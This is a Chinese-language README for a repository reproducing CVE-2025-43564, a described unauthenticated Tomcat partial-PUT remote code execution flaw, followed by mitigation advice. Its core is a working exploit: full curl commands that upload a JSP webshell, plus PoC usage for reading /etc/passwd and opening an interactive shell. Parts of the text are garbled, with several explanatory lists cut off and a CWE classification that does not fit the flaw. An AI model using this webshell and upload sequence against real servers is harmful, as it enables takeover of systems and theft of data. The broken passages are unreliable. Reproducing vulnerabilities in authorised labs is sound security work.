
cve-2025-43564-tomcat_put_rce_reproduction 的复现
| 字段 | 值 |
|---|
| CVE 编号 | CVE-2025-43564 |
| CVSS 评分 | 9.8(严重) |
| 攻击向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — 下载代码时未进行完整性检查 |
| 利用情况 | 已在野外确认被利用(披露后一周内) |
| 披露时间 | 2025 年 7 月 |
| 补丁版本 | Tomcat 11.0.6、10.1.40、9.0.102 |
CVE-2025-43564 是 Apache Tomcat 处理 HTTP 部分 PUT 请求时存在的一个严重的未认证远程代码执行漏洞。该缺陷存在于 Tomcat 处理带有部分内容的 PUT 请求(HTTP/1.1 Content-Range 或具有部分语义的 Transfer-Encoding: chunked)的方式中。攻击者可以构造一个绕过访问控制和写入限制的部分 PUT 请求,从而将任意文件——包括可通过 Web 访问的 JSP WebShell——上传到服务器的文档根目录或通过 Servlet 上下文可访问的任何可写目录。
一旦 JSP 文件被植入,攻击者只需请求该文件并通过查询参数传入操作系统命令,即可以 Tomcat 进程用户的身份实现完全未认证的远程代码执行。
CVSS 9.8 — 严重,原因如下:
Apache Tomcat 的 DefaultServlet 和 HTTP/1.1 连接器(NIO/NIO2/Apr)负责处理用于静态资源上传的 PUT 请求。该漏洞位于部分 PUT 请求处理逻辑中:当客户端发送带有 Content-Range 头(RFC 7233 §4.2)的 PUT 请求,或使用具有特定部分语义的分块编码时,服务器未能正确验证:
org.apache.catalina.servlets.DefaultServlet 以及底层 HttpInput / SocketProcessorBase 组件中的解析代码错误地处理了部分内容写入与完整资源写入之间的边界,从而允许攻击者向 Tomcat 进程具有写入权限的任何路径追加或覆盖任意内容。
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
攻击者发送一个带有 Content-Range 头的部分 PUT 请求,使 Tomcat 认为该请求是现有上传的续传。服务器会创建或打开目标文件并写入所提供的字节,不会在写入时验证目标文件是否已存在、不会检查写入权限,也不会对相对于 Web 根目录的目标路径进行清理。
readonly=false 才能使用标准 PUT。部分 PUT 路径在某些条件下会跳过此检查。Content-Range 的部分 PUT 通常可以规避这些特征。| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| Apache Tomcat 11 | 11.0.0-M1 至 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 至 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | 所有版本(已停止维护) | 升级至 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 至 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | 所有版本(已停止维护) | 升级至 9.0.x |
| Apache Tomcat 8 | 所有版本(已停止维护) | 升级至 9.0.x |
| Apache Tomcat 7 | 所有版本(已停止维护) | 升级至 9.0.x |
注意: 较旧的分支(7.x、8.x、8.5.x、10.0.x)已停止维护(EOL),不会获得向后移植的修复。用户必须升级到受支持的分支。
下载一个存在漏洞的 Apache Tomcat(例如 Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
解压并使用默认配置启动 Tomcat:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
确认服务器正在运行:
curl -v http://localhost:8080
使用 PoC 脚本上传 JSP WebShell:
python exploit.py --target http://localhost:8080 --cmd id
确认 WebShell 已植入:
curl http://localhost:8080/exec.jsp?cmd=whoami
执行任意命令:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
交互式会话(如需要):
python exploit.py --target http://localhost:8080 --shell
附带的 exploit.py 是一个功能完整的 Python PoC,其功能如下:
Content-Type 头和负载结构会触发存在漏洞的代码路径webapps/ROOT/)exec.jsp?cmd=<command> 发送 GET 请求以执行操作系统命令--cmd)和交互式 shell(--shell)两种模式# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
如果 Tomcat 配置了 readonly=true(默认值),标准 PUT 会被阻止——但部分 PUT 路径仍可能成功。这正是该漏洞的核心所在。
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
将 Tomcat 更新至已修复的版本:
如果无法立即修补,请通过编辑 web.xml 全局禁用 PUT 方法:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
在反向代理 / WAF 层面阻止 HTTP 方法:
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
注意:仅当代理无法被绕过时才有效。
以受限的文件系统权限运行 Tomcat:
webapps 目录设为只读(或从只读文件系统挂载)ReadOnly 文件属性监控 Web 根目录中带有 .jsp / .jspx 扩展名的意外文件。
本仓库仅供教育和授权安全测试目的使用。你必须获得所测试系统所有者的明确书面许可。根据《计算机欺诈和滥用法》(CFAA)及其他司法辖区的同类法律,未经授权访问计算机系统属于违法行为。作者不对滥用此信息承担任何责任。
CVE-2025-43564 已被负责任地报告给 Apache 安全团队。补丁协调发布时间:2025 年 7 月。